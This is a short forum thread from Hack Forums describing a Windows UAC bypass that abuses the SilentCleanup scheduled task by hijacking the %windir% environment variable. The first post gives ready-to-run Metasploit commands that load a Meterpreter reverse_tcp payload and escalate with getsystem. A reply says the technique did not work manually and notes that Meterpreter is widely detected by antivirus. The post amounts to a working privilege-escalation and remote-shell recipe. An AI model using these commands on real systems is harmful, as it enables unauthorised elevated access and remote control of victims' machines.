+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231)
+---- Thread: Bypass UAC using SilentCleanup Metasploit local exploit module (/showthread.php?tid=6263977)
Bypass UAC using SilentCleanup Metasploit local exploit module - Chap - Feb 16, 2024
There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as
Users, automatically runs with elevated privileges. When it runs, it executes the file
%windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's
environment variables, %windir% (normally pointing to C:\Windows) can be changed to point to
whatever we want, and it'll run as admin.
use exploit/windows/local/bypassuac_silentcleanup
set session 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
and then Elevate to the high privilege
getsystem
RE: Bypass UAC using SilentCleanup Metasploit local exploit module - DramaKing - Feb 16, 2024
I've tried this one manually and haven't gotten it to work. Also, one has to get Meterpreter to run, which is old and very well known to AV developers.